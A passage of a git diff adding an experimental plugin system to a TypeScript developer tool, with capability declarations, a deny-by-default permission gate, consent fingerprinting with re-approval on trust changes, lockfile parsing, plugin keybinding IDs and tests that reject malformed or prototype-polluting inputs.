-          updates.terminalQuickCommands
-        )
-      }
-      if ('terminalCustomThemes' in updates) {
-        sanitizedUpdates.terminalCustomThemes = normalizeTerminalCustomThemes(
-          updates.terminalCustomThemes
-        )
-      }
-      if ('visibleTaskProviders' in updates || 'defaultTaskSource' in updates) {
-        const taskProviderSettings = normalizeTaskProviderSettings({
-          visibleTaskProviders:
-            'visibleTaskProviders' in updates
-              ? updates.visibleTaskProviders
-              : get().settings?.visibleTaskProviders,
-          defaultTaskSource:
-            'defaultTaskSource' in updates
-              ? updates.defaultTaskSource
-              : get().settings?.defaultTaskSource
-        })
-        sanitizedUpdates.defaultTaskSource = taskProviderSettings.defaultTaskSource
-        sanitizedUpdates.visibleTaskProviders = taskProviderSettings.visibleTaskProviders
-      }
-      if ('openInApplications' in updates) {
-        sanitizedUpdates.openInApplications = normalizeOpenInApplications(
-          updates.openInApplications,
-          {
-            createId: createOpenInApplicationId
-          }
-        )
-      }
-      if ('disabledTuiAgents' in updates) {
-        sanitizedUpdates.disabledTuiAgents = normalizeDisabledTuiAgents(updates.disabledTuiAgents)
-      }
-      if ('agentDefaultArgs' in updates) {
-        sanitizedUpdates.agentDefaultArgs = normalizeTuiAgentArgsRecord(updates.agentDefaultArgs)
-        sanitizedUpdates.agentYoloDefaultsMigrated = true
-      }
-      if ('agentDefaultEnv' in updates) {
-        sanitizedUpdates.agentDefaultEnv = normalizeTuiAgentEnvRecord(updates.agentDefaultEnv)
-        sanitizedUpdates.agentYoloDefaultsMigrated = true
-      }
-      if ('uiLanguage' in updates) {
-        sanitizedUpdates.uiLanguage = normalizeUiLanguage(updates.uiLanguage)
-      }
-      if ('terminalScrollbackRows' in updates) {
-        sanitizedUpdates.terminalScrollbackRows = normalizeDesktopTerminalScrollbackRows(
-          updates.terminalScrollbackRows
-        )
-      }
-      const nextSettings = await window.api.settings.set(sanitizedUpdates)
-      set((s) => ({ settings: (nextSettings as GlobalSettings | undefined) ?? s.settings }))
+      await persistSettingsUpdates(set, updates, get().settings)
     } catch (err) {
       console.error('Failed to update settings:', err)
     }
   },
 
+  updateSettingsOrThrow: async (updates) => {
+    await persistSettingsUpdates(set, updates, get().settings)
+  },
+
   setActiveRuntimeEnvironmentPreference: async (environmentId) => {
     const nextId = normalizeRuntimeEnvironmentId(environmentId)
     const previousId = normalizeRuntimeEnvironmentId(get().settings?.activeRuntimeEnvironmentId)
diff --git a/src/shared/constants.ts b/src/shared/constants.ts
index dfafdd6a9..7c11e607d 100644
--- a/src/shared/constants.ts
+++ b/src/shared/constants.ts
@@ -305,6 +305,10 @@ export function getDefaultSettings(homedir: string): GlobalSettings {
     terminalModelQueryAuthority: true,
     defaultTuiAgent: null,
     disabledTuiAgents: [...DEFAULT_DISABLED_TUI_AGENTS],
+    pluginSystemEnabled: false,
+    disabledPlugins: [],
+    pluginConsents: {},
+    devPluginPaths: [],
     claudeAgentTeamsDefaultDisabledMigrated: true,
     skipDeleteWorktreeConfirm: false,
     skipCloseTerminalWithRunningProcessConfirm: false,
diff --git a/src/shared/ephemeral-vm-runtimes.ts b/src/shared/ephemeral-vm-runtimes.ts
index b7e12c4c6..517897fcd 100644
--- a/src/shared/ephemeral-vm-runtimes.ts
+++ b/src/shared/ephemeral-vm-runtimes.ts
@@ -31,9 +31,25 @@ export type EphemeralVmRuntimeConnectionMode = z.infer<
   typeof EphemeralVmRuntimeConnectionModeSchema
 >
 
+const EphemeralVmRuntimeRecipeSchema = z
+  .object({
+    id: z.string().min(1),
+    name: z.string().min(1),
+    create: z.string().min(1),
+    description: z.string().min(1).optional(),
+    suspend: z.string().min(1).optional(),
+    resume: z.string().min(1).optional(),
+    destroy: z.string().min(1).optional(),
+    destroyDisabled: z.boolean().optional()
+  })
+  .strict()
+
 export const EphemeralVmRuntimeRecordSchema = z.object({
   id: z.string().min(1),
   recipeId: z.string().min(1),
+  /** Immutable lifecycle commands used for this runtime even if its source
+   * pack is updated, disabled, or removed later. */
+  recipe: EphemeralVmRuntimeRecipeSchema.optional(),
   repoId: z.string().min(1).optional(),
   projectId: z.string().min(1).optional(),
   workspaceId: z.string().min(1).optional(),
diff --git a/src/shared/keybindings.test.ts b/src/shared/keybindings.test.ts
index 7caec4691..20f3938da 100644
--- a/src/shared/keybindings.test.ts
+++ b/src/shared/keybindings.test.ts
@@ -4,11 +4,13 @@
 import { describe, expect, it } from 'vitest'
 import {
   agentTabActionId,
+  findKeybindingActionsForBinding,
   getKeybindingDefinition,
   findKeybindingConflicts,
   formatKeybinding,
   formatKeybindingList,
   getEffectiveKeybindingsForAction,
+  isKeybindingActionId,
   isDigitIndexActionId,
   isDoubleTapBinding,
   keybindingFromInput,
@@ -26,6 +28,14 @@ import type { KeybindingActionId, KeybindingPlatform } from './keybindings'
 import { ALL_TUI_AGENTS } from './tui-agent-display-names'
 
 describe('keybindings', () => {
+  it('accepts bounded plugin command action IDs and rejects malformed variants', () => {
+    expect(isKeybindingActionId('plugin:orca-samples.tasks/open')).toBe(true)
+    expect(isKeybindingActionId('plugin:orca-samples.tasks/task.open-latest')).toBe(true)
+    expect(isKeybindingActionId('plugin:tasks/open')).toBe(false)
+    expect(isKeybindingActionId('plugin:orca-samples.tasks/../open')).toBe(false)
+    expect(isKeybindingActionId(`plugin:orca-samples.tasks/${'a'.repeat(401)}`)).toBe(false)
+  })
+
   it('normalizes editable shortcut input and rejects unsafe bindings', () => {
     expect(normalizeKeybinding(' ctrl + shift + p ')).toEqual({
       ok: true,
@@ -358,6 +368,16 @@ describe('keybindings', () => {
     })
   })
 
+  it('finds app-level owners of a prospective plugin chord with overrides', () => {
+    expect(findKeybindingActionsForBinding('Mod+P', 'darwin')).toContain('worktree.quickOpen')
+    expect(
+      findKeybindingActionsForBinding('Mod+Alt+T', 'linux', {
+        'view.tasks': ['Mod+Alt+T']
+      })
+    ).toContain('view.tasks')
+    expect(findKeybindingActionsForBinding('Mod+F', 'darwin')).not.toContain('editor.find')
+  })
+
   it('reports quick-command menu conflicts with global shortcuts and digit ranges', () => {
     expect(
       findKeybindingConflicts('darwin', {
diff --git a/src/shared/keybindings.ts b/src/shared/keybindings.ts
index b57eef7a1..4fd980aa4 100644
--- a/src/shared/keybindings.ts
+++ b/src/shared/keybindings.ts
@@ -24,6 +24,7 @@ export type KeybindingMatchOptions = {
 }
 
 export type AgentTabActionId = `tab.newAgent.${TuiAgent}`
+export type PluginKeybindingActionId = `plugin:${string}`
 
 export type KeybindingActionId =
   | 'worktree.quickOpen'
@@ -113,6 +114,7 @@ export type KeybindingActionId =
   | 'terminal.splitRight'
   | 'terminal.splitDown'
   | 'terminal.switchInputSource'
+  | PluginKeybindingActionId
 
 export type KeybindingOverrides = Partial<Record<KeybindingActionId, string[]>>
 
@@ -194,6 +196,7 @@ export type KeybindingConflict = {
 
 export type FindKeybindingConflictOptions = {
   ignoredActionIds?: Iterable<KeybindingActionId>
+  relevantActionIds?: Iterable<KeybindingActionId>
 }
 
 export const KEYBINDING_DEFINITIONS: readonly KeybindingDefinition[] = [
@@ -1142,7 +1145,16 @@ export function getKeybindingPlatform(platform: NodeJS.Platform): KeybindingPlat
 }
 
 export function isKeybindingActionId(value: string): value is KeybindingActionId {
-  return DEFINITION_IDS.has(value as KeybindingActionId)
+  return DEFINITION_IDS.has(value as KeybindingActionId) || isPluginKeybindingActionId(value)
+}
+
+export function isPluginKeybindingActionId(value: string): value is PluginKeybindingActionId {
+  return (
+    value.length <= 400 &&
+    /^plugin:[a-z0-9]+(?:-[a-z0-9]+)*\.[a-z0-9]+(?:-[a-z0-9]+)*\/[A-Za-z0-9]+(?:[._-][A-Za-z0-9]+)*$/.test(
+      value
+    )
+  )
 }
 
 function hasModifier(
@@ -1806,9 +1818,6 @@ export function getEffectiveKeybindingsForAction(
   overrides?: KeybindingOverrides
 ): string[] {
   const definition = DEFINITIONS_BY_ID.get(actionId)
-  if (!definition) {
-    return []
-  }
   const override = overrides?.[actionId]
   if (Array.isArray(override)) {
     // Why: canonicalize digit-index overrides to <mods>+1 so display/conflict stay consistent even if a hand-edited file stored a different digit.
@@ -1830,6 +1839,18 @@ export function getEffectiveKeybindingsForAction(
       return normalized.ok ? [normalized.value] : []
     })
   }
+  return definition ? getDefaultBindings(definition, platform) : []
+}
+
+export function getEffectiveKeybindingsForDefinition(
+  definition: KeybindingDefinition,
+  platform: NodeJS.Platform,
+  overrides?: KeybindingOverrides
+): string[] {
+  const override = overrides?.[definition.id]
+  if (Array.isArray(override)) {
+    return getEffectiveKeybindingsForAction(definition.id, platform, overrides)
+  }
   return getDefaultBindings(definition, platform)
 }
 
@@ -2088,7 +2109,7 @@ function keybindingConflictIdentityForParsed(
   ].join('+')
 }
 
-function keybindingConflictIdentity(binding: string, platform: NodeJS.Platform): string {
+export function getKeybindingConflictIdentity(binding: string, platform: NodeJS.Platform): string {
   const parsed = parseKeybinding(binding)
   return parsed ? keybindingConflictIdentityForParsed(parsed, platform) : binding
 }
@@ -2098,7 +2119,7 @@ function keybindingConflictIdentities(
   binding: string,
   platform: NodeJS.Platform
 ): readonly string[] {
-  const exact = keybindingConflictIdentity(binding, platform)
+  const exact = getKeybindingConflictIdentity(binding, platform)
   if (!isDigitIndexActionId(actionId)) {
     return [exact]
   }
@@ -2229,6 +2250,23 @@ export function formatKeybindingList(
     .join(', ')
 }
 
+export function findKeybindingActionsForBinding(
+  binding: string,
+  platform: NodeJS.Platform,
+  overrides?: KeybindingOverrides,
+  scopes: readonly KeybindingScope[] = ['global', 'tabs']
+): KeybindingActionId[] {
+  const identity = getKeybindingConflictIdentity(binding, platform)
+  const allowedScopes = new Set(scopes)
+  return KEYBINDING_DEFINITIONS.filter(
+    (definition) =>
+      allowedScopes.has(definition.scope) &&
+      getEffectiveKeybindingsForAction(definition.id, platform, overrides).some((candidate) =>
+        keybindingConflictIdentities(definition.id, candidate, platform).includes(identity)
+      )
+  ).map((definition) => definition.id)
+}
+
 function formatKeyToken(token: string): string {
   const labels: Record<string, string> = {
     BracketLeft: '[',
@@ -2267,6 +2305,15 @@ export function findKeybindingConflicts(
   platform: NodeJS.Platform,
   overrides?: KeybindingOverrides,
   options: FindKeybindingConflictOptions = {}
+): KeybindingConflict[] {
+  return findKeybindingConflictsForDefinitions(KEYBINDING_DEFINITIONS, platform, overrides, options)
+}
+
+export function findKeybindingConflictsForDefinitions(
+  definitions: readonly KeybindingDefinition[],
+  platform: NodeJS.Platform,
+  overrides?: KeybindingOverrides,
+  options: FindKeybindingConflictOptions = {}
 ): KeybindingConflict[] {
   const owners = new Map<string, { binding: string; actionIds: Set<KeybindingActionId> }>()
   const ignoredActionIds = new Set(options.ignoredActionIds ?? [])
@@ -2276,11 +2323,16 @@ export function findKeybindingConflicts(
         isKeybindingActionId(actionId) && !ignoredActionIds.has(actionId)
     )
   )
-  for (const definition of KEYBINDING_DEFINITIONS) {
+  for (const actionId of options.relevantActionIds ?? []) {
+    if (!ignoredActionIds.has(actionId)) {
+      customizedActions.add(actionId)
+    }
+  }
+  for (const definition of definitions) {
     if (ignoredActionIds.has(definition.id)) {
       continue
     }
-    for (const binding of getEffectiveKeybindingsForAction(definition.id, platform, overrides)) {
+    for (const binding of getEffectiveKeybindingsForDefinition(definition, platform, overrides)) {
       const groups = new Set([definition.conflictGroup ?? definition.scope])
       if (definition.conflictGroup) {
         // Why: native menu accelerators can consume global chords, so check custom bindings against both the menu bucket and scope.
diff --git a/src/shared/plugins/plugin-capabilities.ts b/src/shared/plugins/plugin-capabilities.ts
new file mode 100644
index 000000000..af67f28b9
--- /dev/null
+++ b/src/shared/plugins/plugin-capabilities.ts
@@ -0,0 +1,67 @@
+import { z } from 'zod'
+
+/**
+ * Plugin capability model v0. The manifest declares capabilities, the user
+ * consents against a fingerprint covering capabilities and worker trust, and the
+ * host enforces at every plugin-callable boundary (panel bridge + worker host
+ * API). Electron-free: shared by desktop main, headless serve, the relay
+ * conformance path, and tests.
+ *
+ * v0 is a closed set of unscoped kinds so a typo (or a capability from a newer
+ * Orca) fails manifest validation instead of silently granting nothing.
+ * Scoped kinds (net:fetch hosts, process:exec globs) arrive in later phases.
+ */
+
+export const PLUGIN_CAPABILITY_KINDS = [
+  'workspace:read',
+  'terminal:send',
+  'notifications:show',
+  'storage',
+  'secrets',
+  'events:subscribe',
+  'settings:own'
+] as const
+
+export type PluginCapabilityKind = (typeof PLUGIN_CAPABILITY_KINDS)[number]
+
+// Strict object (not a bare enum) so scoped fields can be added per-kind later
+// without changing the manifest shape.
+export const pluginCapabilitySchema = z.object({ kind: z.enum(PLUGIN_CAPABILITY_KINDS) }).strict()
+
+export type PluginCapability = z.infer<typeof pluginCapabilitySchema>
+
+export function isPluginCapabilityKind(value: string): value is PluginCapabilityKind {
+  return (PLUGIN_CAPABILITY_KINDS as readonly string[]).includes(value)
+}
+
+/** Plain-language consent copy per capability. Shown verbatim in the install
+ *  preview / consent dialog; keep each line honest about what is enforced. */
+export const PLUGIN_CAPABILITY_DESCRIPTIONS: Record<PluginCapabilityKind, string> = {
+  'workspace:read': 'Read the name, branch, and terminal list of your focused worktree',
+  'terminal:send': 'Type text into a terminal you can see (always a specific terminal)',
+  'notifications:show': 'Show desktop notifications labeled with the plugin name',
+  storage: "Store data in the plugin's own storage folder",
+  secrets: "Store and read secrets in the plugin's own encrypted vault",
+  'events:subscribe':
+    'Get notified when worktrees are created or removed and when agent status changes',
+  'settings:own': "Read and change the plugin's own settings"
+}
+
+/**
+ * Canonical serialization of a capability set. Order- and duplicate-
+ * insensitive so consent is stable across manifest reformatting;
+ * key-sorted so future scoped fields cannot produce two encodings of the
+ * same grant.
+ */
+export function canonicalizeCapabilitySet(capabilities: readonly PluginCapability[]): string {
+  const encoded = capabilities.map((capability) =>
+    JSON.stringify(
+      Object.fromEntries(Object.entries(capability).sort(([a], [b]) => a.localeCompare(b)))
+    )
+  )
+  return JSON.stringify([...new Set(encoded)].sort())
+}
+
+export function capabilityKinds(capabilities: readonly PluginCapability[]): PluginCapabilityKind[] {
+  return [...new Set(capabilities.map((capability) => capability.kind))]
+}
diff --git a/src/shared/plugins/plugin-capability-gate.ts b/src/shared/plugins/plugin-capability-gate.ts
new file mode 100644
index 000000000..86506cc56
--- /dev/null
+++ b/src/shared/plugins/plugin-capability-gate.ts
@@ -0,0 +1,63 @@
+import { getPluginHostMethodSpec, isPluginPanelAction } from './plugin-host-api'
+import type { PluginCapabilityKind } from './plugin-capabilities'
+
+/**
+ * The capability gate — pure, electron-free, shared by the Electron main
+ * host, the headless serve RPC path, and the relay so a security decision
+ * cannot land on desktop while drifting on the remote path. Deny-by-default:
+ * an empty capability set grants nothing. A conformance test runs identical
+ * cases against the desktop and relay enforcement surfaces.
+ *
+ * Ported from community PR #5801's electron-free gate, rekeyed to the host
+ * API v0 spec table.
+ */
+
+export type PluginGateErrorCode =
+  | 'unknown_method'
+  | 'capability_denied'
+  | 'consent_required'
+  | 'panel_forbidden'
+
+export type PluginGateDecision =
+  | { granted: true }
+  | { granted: false; code: PluginGateErrorCode; error: string }
+
+export type PluginGateSubject = {
+  /** Capability kinds from the manifest the user consented to; null when the
+   *  plugin is unknown, invalid, disabled, or consent is missing/stale. */
+  grantedCapabilities: readonly PluginCapabilityKind[] | null
+  /** True when the call arrives over the sandboxed panel bridge (narrower
+   *  method surface than workers). */
+  viaPanel: boolean
+}
+
+export function gatePluginHostCall(subject: PluginGateSubject, method: string): PluginGateDecision {
+  const spec = getPluginHostMethodSpec(method)
+  if (!spec) {
+    return { granted: false, code: 'unknown_method', error: `unknown host method: ${method}` }
+  }
+  if (subject.viaPanel && !isPluginPanelAction(method)) {
+    return {
+      granted: false,
+      code: 'panel_forbidden',
+      error: `method ${method} is not available to sandboxed panels`
+    }
+  }
+  // Why: a disabled/unknown/stale-consent plugin must fail exactly like an
+  // ungranted capability — no probe-able distinction for plugin code.
+  if (subject.grantedCapabilities === null) {
+    return {
+      granted: false,
+      code: 'consent_required',
+      error: 'plugin is not enabled with current consent'
+    }
+  }
+  if (!subject.grantedCapabilities.includes(spec.capability)) {
+    return {
+      granted: false,
+      code: 'capability_denied',
+      error: `plugin does not have the "${spec.capability}" capability`
+    }
+  }
+  return { granted: true }
+}
diff --git a/src/shared/plugins/plugin-change-event.ts b/src/shared/plugins/plugin-change-event.ts
new file mode 100644
index 000000000..eb0fa8fa7
--- /dev/null
+++ b/src/shared/plugins/plugin-change-event.ts
@@ -0,0 +1,4 @@
+export type PluginChangeEvent = {
+  /** True only when declarative contribution catalogs were reconciled. */
+  contentPacksChanged: boolean
+}
diff --git a/src/shared/plugins/plugin-command-actions.ts b/src/shared/plugins/plugin-command-actions.ts
new file mode 100644
index 000000000..d1645c7fc
--- /dev/null
+++ b/src/shared/plugins/plugin-command-actions.ts
@@ -0,0 +1,36 @@
+import type { KeybindingActionId, PluginKeybindingActionId } from '../keybindings'
+
+/** Built-in actions with a renderer-owned command handler. Keep this closed so
+ * declarative aliases cannot target component-private shortcut implementations. */
+export const PLUGIN_COMMAND_ALIAS_ACTION_IDS = [
+  'worktree.history.back',
+  'worktree.history.forward',
+  'sidebar.left.toggle',
+  'sidebar.sleepingWorkspaces.toggle',
+  'floatingWorkspace.maximize',
+  'tab.rename',
+  'workspace.rename',
+  'workspace.openBoard',
+  'view.tasks',
+  'sidebar.right.toggle',
+  'sidebar.explorer.toggle',
+  'sidebar.search.toggle',
+  'sidebar.sourceControl.toggle',
+  'sidebar.checks.toggle',
+  'sidebar.ports.toggle'
+] as const satisfies readonly KeybindingActionId[]
+
+export type PluginCommandAliasActionId = (typeof PLUGIN_COMMAND_ALIAS_ACTION_IDS)[number]
+
+const PLUGIN_COMMAND_ALIAS_ACTION_ID_SET = new Set<string>(PLUGIN_COMMAND_ALIAS_ACTION_IDS)
+
+export function isPluginCommandAliasActionId(value: string): value is PluginCommandAliasActionId {
+  return PLUGIN_COMMAND_ALIAS_ACTION_ID_SET.has(value)
+}
+
+export function pluginCommandKeybindingActionId(
+  pluginKey: string,
+  commandId: string
+): PluginKeybindingActionId {
+  return `plugin:${pluginKey}/${commandId}`
+}
diff --git a/src/shared/plugins/plugin-consent-fingerprint.test.ts b/src/shared/plugins/plugin-consent-fingerprint.test.ts
new file mode 100644
index 000000000..e5937432f
--- /dev/null
+++ b/src/shared/plugins/plugin-consent-fingerprint.test.ts
@@ -0,0 +1,173 @@
+import { createHash } from 'node:crypto'
+import { describe, expect, it } from 'vitest'
+import { canonicalizeCapabilitySet, type PluginCapability } from './plugin-capabilities'
+import { fingerprintPluginConsent } from './plugin-consent-fingerprint'
+import {
+  getPluginActivationState,
+  needsReconsent,
+  normalizePluginConsents
+} from './plugin-consent-state'
+import {
+  parsePluginLockfile,
+  serializePluginLockfile,
+  type PluginLockfile
+} from './plugin-install-lockfile'
+
+const workspaceRead: PluginCapability = { kind: 'workspace:read' }
+const storage: PluginCapability = { kind: 'storage' }
+
+describe('fingerprintPluginConsent', () => {
+  it('drops malformed persisted consent identities and oversized fingerprints', () => {
+    expect(
+      normalizePluginConsents({
+        __proto__: 'polluted',
+        constructor: 'polluted',
+        invalid: 'sha256-invalid',
+        'orca-samples.demo': 'sha256-valid',
+        'orca-samples.large': 'x'.repeat(257)
+      })
+    ).toEqual({ 'orca-samples.demo': 'sha256-valid' })
+  })
+
+  it('is stable across capability order and duplicate declarations', () => {
+    const first = fingerprintPluginConsent({
+      main: undefined,
+      capabilities: [workspaceRead, storage, workspaceRead]
+    })
+    const second = fingerprintPluginConsent({
+      main: undefined,
+      capabilities: [storage, workspaceRead]
+    })
+
+    expect(first).toBe(second)
+  })
+
+  it('changes when a panel-only plugin gains a trusted Node worker', () => {
+    const panelOnly = fingerprintPluginConsent({ main: undefined, capabilities: [] })
+    const withWorker = fingerprintPluginConsent({ main: 'worker.js', capabilities: [] })
+
+    expect(withWorker).not.toBe(panelOnly)
+    const lists = {
+      pluginConsents: { 'orca-samples.demo': panelOnly },
+      disabledPlugins: []
+    }
+    expect(getPluginActivationState('orca-samples.demo', withWorker, lists)).toBe('pending')
+    expect(needsReconsent('orca-samples.demo', withWorker, lists)).toBe(true)
+  })
+
+  it('preserves capability-only fingerprints for existing panel plugins', () => {
+    const capabilities = [workspaceRead, storage]
+    const legacy = `sha256-${createHash('sha256')
+      .update(canonicalizeCapabilitySet(capabilities))
+      .digest('base64')}`
+
+    expect(fingerprintPluginConsent({ main: undefined, capabilities })).toBe(legacy)
+  })
+
+  it('requires re-consent when instructional content bytes change', () => {
+    const subject = {
+      main: undefined,
+      capabilities: [],
+      contributes: {
+        keybindings: [],
+        vmRecipes: [{ path: 'recipes/cloud.json' }],
+        agents: []
+      }
+    }
+    const first = fingerprintPluginConsent(subject, 'a'.repeat(64))
+    const second = fingerprintPluginConsent(subject, 'b'.repeat(64))
+
+    expect(second).not.toBe(first)
+    expect(
+      getPluginActivationState('orca-samples.recipes', second, {
+        pluginConsents: { 'orca-samples.recipes': first },
+        disabledPlugins: []
+      })
+    ).toBe('pending')
+  })
+
+  it('does not invalidate inert content consent when only its content hash changes', () => {
+    const subject = {
+      main: undefined,
+      capabilities: [],
+      contributes: {
+        keybindings: [],
+        vmRecipes: [],
+        agents: []
+      }
+    }
+
+    expect(fingerprintPluginConsent(subject, 'a'.repeat(64))).toBe(
+      fingerprintPluginConsent(subject, 'b'.repeat(64))
+    )
+  })
+})
+
+describe('plugin install lockfile consent fingerprints', () => {
+  const persistedEntry = {
+    pluginKey: 'orca-samples.demo',
+    version: '1.0.0',
+    source: { kind: 'local-path' as const, path: '/plugins/demo' },
+    resolvedCommit: null,
+    contentHash: '0123456789abcdef0123456789abcdef',
+    capabilityHash: 'sha256-legacy-name',
+    installedAt: 1
+  }
+
+  it('reads the legacy capabilityHash field as a consent fingerprint', () => {
+    const parsed = parsePluginLockfile({
+      version: 1,
+      plugins: { 'orca-samples.demo': persistedEntry }
+    })
+
+    expect(parsed.plugins['orca-samples.demo']?.consentFingerprint).toBe('sha256-legacy-name')
+  })
+
+  it('keeps writing the v1 field name for rollback compatibility', () => {
+    const lock: PluginLockfile = {
+      version: 1,
+      plugins: {
+        'orca-samples.demo': {
+          ...persistedEntry,
+          consentFingerprint: 'sha256-current'
+        }
+      }
+    }
+
+    expect(serializePluginLockfile(lock)).toMatchObject({
+      version: 1,
+      plugins: {
+        'orca-samples.demo': {
+          capabilityHash: 'sha256-current'
+        }
+      }
+    })
+    expect(
+      (serializePluginLockfile(lock) as { plugins: Record<string, unknown> }).plugins[
+        'orca-samples.demo'
+      ]
+    ).not.toHaveProperty('consentFingerprint')
+  })
+
+  it('drops a lockfile whose record key disagrees with its embedded identity', () => {
+    const parsed = parsePluginLockfile({
+      version: 1,
+      plugins: {
+        'orca-samples.other': persistedEntry
+      }
+    })
+
+    expect(parsed.plugins).toEqual({})
+  })
+
+  it('accepts SHA-256 Git object ids in lockfile provenance', () => {
+    const parsed = parsePluginLockfile({
+      version: 1,
+      plugins: {
+        'orca-samples.demo': { ...persistedEntry, resolvedCommit: 'a'.repeat(64) }
+      }
+    })
+
+    expect(parsed.plugins['orca-samples.demo']?.resolvedCommit).toBe('a'.repeat(64))
+  })
+})
diff --git a/src/shared/plugins/plugin-consent-fingerprint.ts b/src/shared/plugins/plugin-consent-fingerprint.ts
new file mode 100644
index 000000000..af958d3a5
--- /dev/null
+++ b/src/shared/plugins/plugin-consent-fingerprint.ts
@@ -0,0 +1,45 @@
+import { createHash } from 'node:crypto'
+import { canonicalizeCapabilitySet } from './plugin-capabilities'
+import type { PluginManifest } from './plugin-manifest'
+
+type PluginConsentSubject = Pick<PluginManifest, 'capabilities' | 'main'> & {
+  contributes?: Partial<Pick<PluginManifest['contributes'], 'keybindings' | 'vmRecipes' | 'agents'>>
+}
+
+export function hasInstructionalPluginContributions(manifest: PluginConsentSubject): boolean {
+  const contributions = manifest.contributes
+  return Boolean(
+    contributions &&
+    ((contributions.keybindings?.length ?? 0) > 0 ||
+      (contributions.vmRecipes?.length ?? 0) > 0 ||
+      (contributions.agents?.length ?? 0) > 0)
+  )
+}
+
+/**
+ * Consent covers both the declared host capabilities and whether the plugin
+ * executes trusted Node code. A panel-only update that adds `main` crosses a
+ * trust boundary even when its capability list is unchanged.
+ */
+export function canonicalizePluginConsent(
+  manifest: PluginConsentSubject,
+  contentIdentity?: string
+): string {
+  const capabilities = canonicalizeCapabilitySet(manifest.capabilities)
+  const workerIdentity = manifest.main === undefined ? '' : '\0trusted-node-worker'
+  // Instructional bytes execute later under user or agent authority, so
+  // approval is bound to their immutable install/dev-tree identity.
+  const instructionalIdentity = hasInstructionalPluginContributions(manifest)
+    ? `\0instructional-content:${contentIdentity ?? 'unresolved'}`
+    : ''
+  return `${capabilities}${workerIdentity}${instructionalIdentity}`
+}
+
+export function fingerprintPluginConsent(
+  manifest: PluginConsentSubject,
+  contentIdentity?: string
+): string {
+  return `sha256-${createHash('sha256')
+    .update(canonicalizePluginConsent(manifest, contentIdentity))
+    .digest('base64')}`
+}
diff --git a/src/shared/plugins/plugin-consent-request.test.ts b/src/shared/plugins/plugin-consent-request.test.ts
new file mode 100644
index 000000000..84cbf53bc
--- /dev/null
+++ b/src/shared/plugins/plugin-consent-request.test.ts
@@ -0,0 +1,42 @@
+import { describe, expect, it } from 'vitest'
+import { pluginConsentRequestSchema } from './plugin-consent-request'
+
+describe('pluginConsentRequestSchema', () => {
+  it('requires the exact reviewed consent fingerprint', () => {
+    expect(
+      pluginConsentRequestSchema.safeParse({
+        pluginKey: 'orca-samples.demo',
+        decision: 'approve'
+      }).success
+    ).toBe(false)
+    expect(
+      pluginConsentRequestSchema.safeParse({
+        pluginKey: 'orca-samples.demo',
+        reviewedFingerprint: '',
+        decision: 'approve'
+      }).success
+    ).toBe(false)
+  })
+
+  it('accepts an explicit opaque fingerprint and rejects contract drift', () => {
+    expect(
+      pluginConsentRequestSchema.parse({
+        pluginKey: 'orca-samples.demo',
+        reviewedFingerprint: 'sha256-reviewed',
+        decision: 'keep-disabled'
+      })
+    ).toEqual({
+      pluginKey: 'orca-samples.demo',
+      reviewedFingerprint: 'sha256-reviewed',
+      decision: 'keep-disabled'
+    })
+    expect(() =>
+      pluginConsentRequestSchema.parse({
+        pluginKey: 'orca-samples.demo',
+        reviewedFingerprint: 'sha256-reviewed',
+        decision: 'approve',
+        unexpected: true
+      })
+    ).toThrow()
+  })
+})
diff --git a/src/shared/plugins/plugin-consent-request.ts b/src/shared/plugins/plugin-consent-request.ts
new file mode 100644
index 000000000..98130344d
--- /dev/null
+++ b/src/shared/plugins/plugin-consent-request.ts
@@ -0,0 +1,16 @@
+import { z } from 'zod'
+
+/**
+ * Experimental consent write contract shared by desktop IPC and serve RPC.
+ * The reviewed fingerprint makes approval conditional on the exact manifest
+ * trust boundary the user saw, rather than whichever same-key plugin is current.
+ */
+export const pluginConsentRequestSchema = z
+  .object({
+    pluginKey: z.string().min(1),
+    reviewedFingerprint: z.string().min(1).max(256),
+    decision: z.enum(['approve', 'keep-disabled'])
+  })
+  .strict()
+
+export type PluginConsentRequest = z.infer<typeof pluginConsentRequestSchema>
diff --git a/src/shared/plugins/plugin-consent-state.ts b/src/shared/plugins/plugin-consent-state.ts
new file mode 100644
index 000000000..4fd4c2f28
--- /dev/null
+++ b/src/shared/plugins/plugin-consent-state.ts
@@ -0,0 +1,70 @@
+import { isQualifiedPluginKey } from './plugin-manifest'
+
+/**
+ * Consent + enablement state derivation. Consent is recorded against the
+ * (qualified plugin key → consent fingerprint) pair, never the bare id. The
+ * fingerprint covers capabilities and the trusted-worker execution tier, so
+ * crossing either trust boundary requires approval before plugin code runs.
+ */
+
+export type PluginActivationState = 'approved' | 'pending' | 'disabled'
+
+export type PluginConsentLists = {
+  /** Qualified key → consent fingerprint. */
+  pluginConsents: Readonly<Record<string, string>>
+  disabledPlugins: readonly string[]
+}
+
+export function getPluginActivationState(
+  qualifiedKey: string,
+  currentConsentFingerprint: string,
+  lists: PluginConsentLists
+): PluginActivationState {
+  if (lists.disabledPlugins.includes(qualifiedKey)) {
+    return 'disabled'
+  }
+  return lists.pluginConsents[qualifiedKey] === currentConsentFingerprint ? 'approved' : 'pending'
+}
+
+/** True when the plugin was consented before but its capability set changed —
+ *  the UI shows "needs re-approval" instead of a first-install prompt. */
+export function needsReconsent(
+  qualifiedKey: string,
+  currentConsentFingerprint: string,
+  lists: PluginConsentLists
+): boolean {
+  const recorded = lists.pluginConsents[qualifiedKey]
+  return recorded !== undefined && recorded !== currentConsentFingerprint
+}
+
+export function normalizePluginConsents(value: unknown): Record<string, string> {
+  if (typeof value !== 'object' || value === null || Array.isArray(value)) {
+    return {}
+  }
+  const consents: Record<string, string> = {}
+  for (const [key, hash] of Object.entries(value)) {
+    if (
+      typeof hash === 'string' &&
+      hash.length > 0 &&
+      hash.length <= 256 &&
+      isQualifiedPluginKey(key)
+    ) {
+      consents[key] = hash
+    }
+  }
+  return consents
+}
+
+export function normalizePluginIdList(value: unknown): string[] {
+  if (!Array.isArray(value)) {
+    return []
+  }
+  return [
+    ...new Set(
+      value.filter(
+        (entry): entry is string =>
+          typeof entry === 'string' && entry.length > 0 && entry.length <= 32 * 1024
+      )
+    )
+  ]
+}
diff --git a/src/shared/plugins/plugin-content-pack-contributions.test.ts b/src/shared/plugins/plugin-content-pack-contributions.test.ts
new file mode 100644
index 000000000..b3d1708ee
--- /dev/null
+++ b/src/shared/plugins/plugin-content-pack-contributions.test.ts
@@ -0,0 +1,155 @@
+import { describe, expect, it } from 'vitest'
+import { parsePluginManifest, pluginManifestSchema } from './plugin-manifest'
+
+function manifest(contributes: Record<string, unknown>): Record<string, unknown> {
+  return {
+    manifestVersion: 1,
+    id: 'content-pack',
+    publisher: 'orca-samples',
